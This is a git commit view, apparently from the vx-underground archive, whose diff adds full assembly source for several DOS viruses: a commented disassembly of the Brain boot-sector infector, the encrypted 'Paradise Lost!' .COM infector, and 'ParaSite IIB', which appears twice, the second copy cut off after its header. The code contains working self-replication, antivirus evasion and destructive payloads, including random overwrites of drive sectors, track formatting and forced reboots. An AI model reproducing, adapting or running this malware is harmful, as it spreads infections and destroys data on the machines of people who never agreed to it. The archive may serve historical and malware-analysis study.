re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+686
View File
@@ -0,0 +1,686 @@
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ; ds = 0
mov ss,ax ; set stack to after
mov sp,0F000h ; virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ; read five sectors
mov bx,7C00h+200h ; after end of virus
loadnext:
call readdisk
call calcnext
add bx,200h
loop loadnext
mov ax,word ptr ds:[413h] ; Base memory size in Kb
sub ax,7 ; - 7 Kb
mov word ptr ds:[413h],ax ; Insert as new value
mov cl,6
shl ax,cl ; Convert to paragraphs
mov es,ax
mov si,7C00h ; Copy from virus start
mov di,0 ; to start of memory
mov cx,1004h ; Copy 1004h bytes
cld
rep movsb
push es
mov ax,200h
push ax
retf ; return to old boot sector
readdisk:
push cx
push bx
mov cx,4 ; Try 4 times
tryread:
push cx
mov dh,ds:[7C00h+offset curhead]
mov dl,0 ; Read sector from default
mov cx,ds:[7C00h+offset cursector]
mov ax,201h ; Disk to memory at es:bx
int 13h
jnc readOK
mov ah,0 ; Reset disk
int 13h ; (force read track 0)
pop cx
loop tryread
int 18h ; ROM basic on failure
readOK:
pop cx
pop bx
pop cx
retn
calcnext:
mov al,byte ptr ds:[7C00h+offset cursector]
inc al
mov byte ptr ds:[7C00h+offset cursector],al
cmp al,0Ah
jne donecalc
mov byte ptr ds:[7C00h+offset cursector],1
mov al,ds:[7C00h+offset curhead]
inc al
mov ds:[7C00h+offset curhead],al
cmp al,2
jne donecalc
mov byte ptr ds:[7C00h+offset curhead],0
inc byte ptr ds:[7C00h+offset cursector+1]
donecalc:
retn
; the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
; Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ; keep track of # reads
curdrive db 0
int13flag db 0
entersecondpart:
mov cs:readcounter,1Fh
xor ax,ax
mov ds,ax ; ds -> interrupt table
mov ax,ds:[13h*4]
mov ds:[6Dh*4],ax
mov ax,ds:[13h*4+2]
mov ds:[6Dh*4+2],ax
mov ax,offset int13 ; 276h
mov ds:[13h*4],ax
mov ax,cs
mov ds:[13h*4+2],ax
mov cx,4 ; 4 tries
xor ax,ax
mov es,ax ; es -> interrupt table
tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ; read from default disk
mov bx,7C00h
int 6Dh ; int 13h
jnc readbootOK
mov ah,0
int 6Dh ; int 13h
pop cx
loop tryreadbootsector
int 18h ; ROM basic on failure
readbootOK: ; return control to
; original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ; MASM NOP!!!
int13:
sti
cmp ah,2 ; if not read request,
jne doint13 ; do not go further
cmp dl,2 ; if after second floppy,
ja doint13 ; do not go further
cmp ch,0 ; if not reading boot sector,
jne regularread ; go handle as usual
cmp dh,0 ; if boot sector,
je readboot ; do I<-/>/\|> stuff
regularread:
dec cs:readcounter ; Infect after 4 reads
jnz doint13 ; If counter still OK, don't
; do anything else
jmp short readboot ; Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
; FINISH THIS!
mov cs:int13flag,0 ; clear flag
mov cs:readcounter,4 ; reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4
tryreadbootblock:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errorreadingbootblock ; Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ; buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ; Read boot sector
pop es
jnc continuestuff ; continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock
jmp short resetdisk ; too many failures
nop
continuestuff:
pop cx ; get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ; already infected?
jne dodisk ; if not, infect it
mov cs:int13flag,1 ; flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ; infect the disk
jc failme ; exit on failure
mov cs:int13flag,2 ; flag success
call changeroot ; manipulate volume label
failme:
pop si
pop es
pop ds
jnc noreset ; don't reset on success
resetdisk:
mov ah,0 ; reset disk
int 6Dh ; int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ; already infected?
jne wasntinfected ; if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ; otherwise, read real
jmp short exitint13h ; boot sector
wasntinfected:
cmp cs:int13flag,2 ; successful infection?
jne exitint13h ; if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ; int 13h
retf 2
db 15 dup (0)
FATManip: ; returns al as error code
jmp short delvedeeper
nop
FATManipreadcounter dw 3
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
call readFAT ; Get FAT ID byte
mov ax,word ptr ds:[offset readbuffer]
cmp ax,0FFFDh ; is it 360K disk?
je is360Kdisk ; continue if so
mov al,3 ; al=3 == not good disk
stc ; flag error
retn ; and exit
is360Kdisk:
mov cx,37h
mov FATManipreadcounter,0 ; none found yet
checknextsector:
call FATentry12bit ; get entry in FAT
cmp ax,0 ; unused?
jne notunused
inc FATManipreadcounter ; one more found unused
cmp FATManipreadcounter,3 ; If need more,
jne tryanother ; go there
jmp short markembad ; found 3 consecutive
nop ; empty sectors
notunused:
mov FATManipreadcounter,0 ; must start over
tryanother:
inc cx ; try next sector
cmp cx,163h ; end of disk?
jne checknextsector ; if not, continue
mov al,1 ; al=1 == none empty
stc ; Indicate error
retn
markembad:
mov dl,3 ; 3 times
markanotherbad:
call markbad12bit
dec cx
dec dl
jnz markanotherbad
inc cx
call calc1sttrack
call writeFAT ; update FAT
mov al,0 ; al=0 == ok
clc ; indicate success
retn
markbad12bit:
push cx
push dx
mov si,offset readbuffer ; si -> buffer
mov al,cl
shr al,1
jc low_12 ; low bits
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0F000h ; mark it bad
or ax,0FF7h
jmp short putitback ; and put it back
nop
low_12:
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0Fh ; mark it bad
or ax,0FF70h
putitback:
mov [bx+si],ax ; replace FAT entry
mov word ptr ds:[400h][bx+si],ax ; in two places
pop dx
pop cx
retn
FATentry12bit:
push cx
mov si,offset readbuffer ; si->buffer
mov al,cl
shr al,1
; Part 3 of the virus starts here
jc want_high_12
call clus2offset12bit
mov ax,[bx+si]
and ax,0FFFh
jmp short exitFATentry12bit
nop
want_high_12:
call clus2offset12bit ; xxxxxxxxxxxx0000
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
and ax,0FFF0h ; mask wanted bits
mov cl,4 ; and move to correct
shr ax,cl ; position
exitFATentry12bit:
pop cx
retn
clus2offset12bit:
push dx
mov ax,3
mul cx
shr ax,1 ; ax = cx*1.5
mov bx,ax
pop dx
retn
readFAT:
mov ah,2 ; read
call FAT_IO
retn
writeFAT:
mov ah,3 ; write
call FAT_IO
retn
FAT_IO:
mov cx,4 ; try four times
FAT_IOLoop:
push cx
push ax
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop ax
jc tryFAT_IOagain
mov bx,offset readbuffer
mov al,4 ; 4 sectors
mov dh,0 ; head 0
mov dl,curdrive
mov cx,2 ; sector 2
push ax ; (FAT)
int 6Dh ; int 13h
pop ax
jnc exitFAT_IO
tryFAT_IOagain:
pop cx
loop FAT_IOLoop
pop ax
pop ax
mov al,2
stc ; mark error
retn
exitFAT_IO:
pop cx
retn
calc1sttrack:
push cx
sub cx,2
shl cx,1 ; 2 sectors/cluster
add cx,0Ch ; start of data area
mov ax,cx ; ax = sector
mov cl,12h ; 4096
div cl ; ax/4096 = al rem ah
mov byte ptr firstsector+1,al
mov firsthead,0
inc ah
cmp ah,9 ; past track 9?
jbe notpasttrack9 ; nope, we are ok
sub ah,9 ; otherwise, adjust
mov firsthead,1
notpasttrack9:
mov byte ptr firstsector,ah
pop cx
retn
db 0, 0, 0, 0, 0, 0
r_or_w_root db 3
entrycount dw 35h
tempsave1 dw 303h
tempsave2 dw 0EBEh
tempsave3 dw 1
tempsave4 dw 100h
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
db 8Dh, 98h, 9Fh, 8Eh,0E0h
db ' (c) ashar $'
changeroot:
call readroot ; read in root directory
jc donotchangeroot
push di
call changevolume ; change volume label
pop di
jc donotchangeroot
call writeroot ; write back new root dir
donotchangeroot:
retn
; The following is just garbage bytes
db 0BBh, 9Bh, 04h,0B9h, 0Bh
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
db 0C6h, 06h
changevolume:
mov entrycount,6Ch
mov si,offset readbuffer+40h; 3nd dir entry
mov tempsave1,dx
mov ax,entrycount ; 6Ch
shr ax,1
mov tempsave3,ax ; 36h
shr ax,1
mov tempsave2,ax ; 1Bh
xchg ax,cx
and cl,43h ; cx = 3
mov di,tempsave2
add di,1E3h ; di = 01FE
findlabel:
mov al,[si]
cmp al,0
je dolabel ; no mo entries
mov al,[si+0Bh] ; attribute byte
and al,8 ; volume label?
cmp al,8 ; yes?
je dolabel ; then change it!
add si,20h ; go to next directory entry
dec entrycount
jnz findlabel ; loop back
stc ; Error!
retn
db 8Bh
dolabel:
mov bx,[di] ; offset a_data
xor bx,tempsave3 ; bx = 53Ah
mov tempsave3,si ; si->direntry
cli
mov ax,ss
mov tempsave1,ax
mov tempsave2,sp
mov ax,cs
mov ss,ax
mov sp,tempsave3
add sp,0Ch ;->reserved area
mov cl,51h
add dx,444Ch
mov di,2555h
mov cx,0C03h
repe cmpsw
mov ax,0B46h
mov cx,3
rol ax,cl ; ax = 5A30h
mov tempsave3,ax
mov cx,5
mov dx,8
sub tempsave3,5210h ; 820h
push tempsave3 ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
; Comment mode OFF
dowhatever:
mov ah,[bx] ; 5a3h
inc bx
mov dl,ah
shl dl,1
jc dowhatever
searchstuff:
mov dl,[bx] ; dl=C2h
inc bx ; bx=53Eh
mov al,dl
shl dl,1
jc searchstuff
add ax,1D1Dh
push ax
inc tempsave3
db 73h, 01h ; jnc $+3
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
xchg bp,ax
add al,0A1h
xchg bx,ax
add al,8Eh
sar bl,1
add dh,[bp+si]
clc
ret
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
; Comment mode ON
readroot:
mov r_or_w_root,2 ; set action code
jmp short do_rw_root ; easier to do w/
nop ; mov ah, 2
writeroot:
mov r_or_w_root,3
jmp short do_rw_root ; this is somewhat useless
nop
do_rw_root:
mov dh,0 ; head 0
mov dl,curdrive
mov cx,6 ; sector 6
mov ah,r_or_w_root
mov al,4 ; 4 sectors
mov bx,offset readbuffer
call doint13h
jc exit_rw_root ; quit on error
mov cx,1
mov dh,1 ; head 1
mov ah,r_or_w_root
mov al,3
add bx,800h
call doint13h
exit_rw_root:
retn
doint13h:
mov tempsave1,ax
mov tempsave2,bx
mov tempsave3,cx
mov tempsave4,dx
mov cx,4
doint13hloop:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errordoingint13h
mov ax,tempsave1
mov bx,tempsave2
mov cx,tempsave3
mov dx,tempsave4
int 6Dh ; int 13h
jnc int13hsuccess
errordoingint13h:
pop cx
loop doint13hloop
stc ; indicate error
retn
int13hsuccess:
pop cx
retn
db 0, 0, 0
; Part 4 of the virus starts here
tempstorecx dw 3
readwritecurrentdata dw 301h
writevirus:
call FATManip
jc exitwritevirus
mov cursector,1
mov curhead,0
mov bx,offset readbuffer
call readcurrent
mov bx,offset readbuffer
mov ax,firstsector
mov cursector,ax
mov ah,firsthead
mov curhead,ah
call writecurrent
call calcnextsector
mov cx,5
mov bx,200h
writeanothersector:
mov tempstorecx,cx
call writecurrent
call calcnextsector
add bx,200h
mov cx,tempstorecx
loop writeanothersector
mov curhead,0
mov cursector,1
mov bx,0
call writecurrent
clc ; indicate success
exitwritevirus:
retn
readcurrent:
mov readwritecurrentdata,201h
jmp short doreadwrite
nop
writecurrent:
mov readwritecurrentdata,301h
jmp short doreadwrite ; This is pointless.
nop
doreadwrite:
push bx
mov cx,4
tryreadwriteagain:
push cx
mov dh,curhead
mov dl,curdrive
mov cx,cursector
mov ax,readwritecurrentdata ; read or write?
int 6Dh ; int 13h
jnc readwritesuccessful
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop cx
loop tryreadwriteagain
pop bx
pop bx
stc ; Indicate error
retn
readwritesuccessful:
pop cx
pop bx
retn
calcnextsector:
inc byte ptr cursector ; next sector
cmp byte ptr cursector,0Ah
jne donecalculate ; finished calculations
mov byte ptr cursector,1 ; clear sector #
inc curhead ; and go to next head
cmp curhead,2 ; if not too large,
jne donecalculate ; we are done
mov curhead,0 ; otherwise clear head #
inc byte ptr cursector+1 ; and advance cylinder
donecalculate:
retn
db 64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain ends
end
@@ -0,0 +1,242 @@
; VirusName : PARADISE LOST!
; Origin : Sweden
; Author : The Unforgiven
; Date : 20/12/93
; This is a "mutation", of Tormentor's .COM lession. I've modified
; some stuffs, but since I liked the .EXE infector better, I didn't
; cared too much about this one.
; Anyway, this is a non-resident current directory (yuck!), infector
; of .COM programs. It've added a encryption routine, but it's nothing
; really to scream hurray for.
; It's also a bit destructive, well, it's 5% chance at each run, that
; one of drive c: or d: gets kinda phucked up. This routine was as
; usual "stolen" from Nowhere Man of NuKE. I must admit I like it!
; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think
; that ThunderByte AntiVirus heurtistic scanner found the infected
; files as "probably/possible" infected, I really dunno, you try it
; out by your self!
; "We do not live forever, but mind never leaves our souls." (Dark Image).
;=============================================================================
; **** PARADISE LOST! ****
;=============================================================================
.model tiny
.radix 16
.code
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
org 100
dummy_code: db 'M' ; Mark file as infected.
db 3 DUP(90) ; This is to simulate a infected prog.
; Not included in virus-code.
Virus_Start: call where_we_are ; Now we call the next bytes, just to
; F-prot founded the 'lession -1'virus here in the unencrypted area, but by
; simple add the push si, and the extra pop, it compleatele screwed up, and
; couldn't found it as nothing!, HA! Eat dust, looser!
where_we_are: push si
pop si ; Since the virus-code's address will
pop si
;-----------------------------------------------------------------------
; Now we have to put back the original 4 bytes in the host program, so
; we can return control to it later:
add si,_4first_bytes-where_we_are
mov di,100
cld
movsw
movsw
;------------------------------------------------------------------------
; We have to use SI as a reference since files differ in size thus making
; virus to be located at different addresses.
sub si,_4first_bytes-Virus_Start+4
call encrypt_decrypt ; differ from victim to victim.
jmp encryption_start ; a POP SI after a call will give us the
; address which equals to 'where_we_are'
; Very important.
write_virus:
call encrypt_decrypt
mov ah,40 ; Append file with virus code.
mov cx,offset Virus_Lenght
mov dx,si ; Virus_Lenght.
int 21
call encrypt_decrypt
ret
encryption_value dw 0
encrypt_decrypt:
mov di,offset encryption_start-virus_start
add di,si
mov cx,(end_of_encryption-encryption_start+1)/2
push bx
mov bx,offset encryption_value-virus_start
add bx,si
mov dx,word ptr [bx]
pop bx
again:
xor word ptr cs:[di],dx
add di,2
loop again
ret
;------------------------------------------------------------------------
; Now we just have to find victims, we will look for ALL .COM files in
; the current directory.
encryption_start:
;set_dta:
mov ah,1ah
lea dx,[si+offset dta-virus_start]
int 21h
mov ah,4e ; We start to look for a *.COM file
look4victim: mov dx,offset file_match-Virus_Start
add dx,si
int 21
jc no_victim_found
; clear attribs: before open file
mov ax,4301h
xor cx,cx
lea dx,[si+virus_end+1eh]
int 21h
mov ax,3d02 ; Now we open the file.
lea dx,[si+offset DTA-virus_start+1eh] ;now also including
int 21 ; DTA.
jc cant_open_file ; If file couldn't be open.
xchg ax,bx ; Save filehandle in bx
; (we could use MOV BX,AX but we saves one byte by using xchg )
mov ah,3f ; Now we read the first 4 bytes
mov cx,4 ; from the victim -> buffer
mov dx,offset _4first_bytes-Virus_Start
add dx,si
; We will then overwrite them with
int 21 ; a JMP XXXX to virus-code at end.
jc read_error
cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
jz sick_or_EXE ; Check if infected OR *.EXE
; Almost all EXE files starts with 'M' and we mark the infected files by
; starting with 'M' which equals to DEC BP
; Now we just have to have one check instead of 2 (infected and *.EXE)
mov ax,4202 ; Position file-pointer to point at
xor cx,cx ; End-of-File.
xor dx,dx ; Any writing to file will now APPEND it
int 21 ; Returns AX -> at end.
sub ax,4 ; Just for the JMP structure.
mov word ptr ds:[_4new_bytes+2],ax
; Build new JMP XXXX to virus.
; ( logic: JMP AX )
mov word ptr [si+encryption_value-virus_start],99 ; encryption_value.
call write_virus
;
; mov ah,40 ; Append file with virus code.
; mov cx,offset Virus_Lenght
; mov dx,si ; Virus_Lenght.
; int 21
; jc write_error
mov ax,4200 ; Position file-pointer to begin of file
xor cx,cx ; So we can change the first 3 bytes
xor dx,dx ; to JMP to virus.
int 21
mov ah,40 ; Write new 3 bytes.
mov cx,4 ; After this, executing the file will
mov dx,offset _4new_bytes-Virus_Start
add dx,si
; result in virus-code executing before
int 21 ; original code.
jc write_error
; then close the file.
mov ah,3e ; Close file, now file is infected.
int 21 ; Dos function 3E (close handle)
Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's
jmp look4victim ; find another victim...
write_error: ; Here you can test whats went wrong.
read_error: ; This is just for debugging purpose.
cant_open_file: ; These entries are equal to eachother
no_victim_found: ; but could be changed if you need to test something.
; randomize:
mov ah,2ch ;get a new random number
int 21h ;5% chance of nuke
cmp dl,5
ja real_quit
jmp which
which:
mov ah,2ch
int 21h
cmp dl,50
ja nuke_c
jmp nuke_d
nuke_c:
cli ;
mov ah,2 ; 2=c:
cwd ;
mov cx,0100h ;
int 026h ;
JMP REAL_QUIT
nuke_d:
cli
mov ah,3 ; 3=d:
cwd
mov cx,0100h
int 026h
jmp real_quit
real_quit:
mov ax,100 ; Every thing is put back in memory,
push ax ; lets us RET back to start of program
ret ; and execute the original program.
notes db '[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot'
file_match db '*.COM',0 ; Pattern to search for.
end_of_encryption:
_4first_bytes: ret ; Here we save the 4 first org. bytes
db 3 DUP(0)
; We have a ret here since this file isn't a REAL infection.
_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
; so our virus-code will be run first.
Virus_End EQU $
dta db 42 DUP (?)
end dummy_code
@@ -0,0 +1,418 @@
;********************************************************************
; <PARSIT2B.ASM> - ParaSite Virus IIB
; By: Rock Steady
; Close to one year I created this Virus. As you can see it is quite
; old... Maybe too Old... But here it is... It Sucks... but its great
; for any virus beginner... Anyhow...
; NOTES: Simple COM infector. 10% of the time it reboots the system
; 20% it plays machine gun noices on the PC speaker... and
; 70% of the time is infects another COM file... Have fun...
;********************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG 100H
VCODE: JMP virus
NOP
NOP ; To identify it as an Infected
NOP ; Program!
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
JMP Rock_1
Rock_2:
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP Day_Of_Week
Rock_1:
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
JMP Rock_2
Day_Of_Week:
MOV AH,2AH ;Get System date!
INT 21H
CMP AL,1 ;Check to See if it's Monday!
JGE day_check ;Jump if later than Mondays
JMP Get_Time
day_check:
CMP AL,1 ;Check to see if it is the 1st
JA Get_Time ;If yes, create a MESS...
JMP Bad_Mondays ;If not, then go on with infecti
mess:
Bad_Mondays:
MOV DL,2 ;The Formatting Tracks..
MOV AH,05
MOV DH,80h
MOV CH,0
INT 13h
Play_music:
MOV CX,20d ;Set number of Shots
new_shot:
PUSH CX ;Save Count
CALL Shoot
MOV CX,4000H
Silent: LOOP silent
POP CX
LOOP new_Shot
JMP mess
SHOOT proc near ;The Machine Gun Noices...
MOV DX,140h
MOV BX,20h
IN AL,61h
AND AL,11111100b
SOUND: XOR AL,2
OUT 61h,al
ADD dx,9248h
MOV CL,3
ROR DX,CL
MOV CX,DX
AND cx,1ffh
OR CX,10
WAITA: LOOP WAITA
DEC BX
JNZ SOUND
AND AL,11111100b
OUT 61h,AL
RET
Shoot Endp
Get_Time:
MOV AH,2Ch ; Get System Time!
INT 21h ;
AND DH,0fh
CMP DH,3
JB Play_music
CMP DH,3h
JA Find_Path
INT 19h
go:
MOV AH, 47H
XOR DL,DL
ADD SI, OFFSET orig_path - OFFSET buffer - 8
INT 21H
JC find_path
MOV AH,3BH
MOV DX,SI
ADD DX, OFFSET root_dir - OFFSET orig_path
INT 21H
infect_root:
MOV [BX+nam_ptr],DI
MOV SI,BX
ADD SI,f_ipec
MOV CX,6
REPZ MOVSB
JMP hello
find_path:
POP SI ; Seek and Destroy...
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will
; along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT di
LOOP check_next_4 ;Go back and check for more char
POP SI ;Load in PATH again to look for
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc ;the File Handle
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the handle to infect!
move_subdir:
LODSB ;To tedious work to move into su
NOP
CMP AL,';' ;Does it end with a ; character?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future refer
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS
NOP
MOV [BX+path_ad],SI ;Where is the next subdir?
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspac
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
hello:
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... The File to infect
MOV CX,3 ;Attributes of Read Only or Hidd
INT 21H
JMP SHORT find_first
joe1:
JMP go
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirec
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
JMP CONT
JOE2:
JMP JOE1
CONT:
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
MOV BX,OFFSET count
CMP BX,0
JB joe2
POP CX
XOR AX,AX ;XOR values so that we will give
XOR BX,BX ;poor sucker a hard time trying
XOR DX,DX ;reassemble the source code if h
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
Aurther DB "ParaSite IIB - By: Rock Steady"
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
fipec_ DB 'COMMAND.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
orig_path DB 64 dup (?)
root_dir DB '\',0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
f_ipec = fipec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE
@@ -0,0 +1,418 @@
;********************************************************************
; <PARSIT2B.ASM> - ParaSite Virus IIB
; By: Rock Steady
; Close to one year I created this Virus. As you can see it is quite
; old... Maybe too Old... But here it is... It Sucks... but its great
; for any virus beginner... Anyhow...
; NOTES: Simple COM infector. 10% of the time it reboots the system
; 20% it plays machine gun noices on the PC speaker... and
; 70% of the time is infects another COM file... Have fun...
;********************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
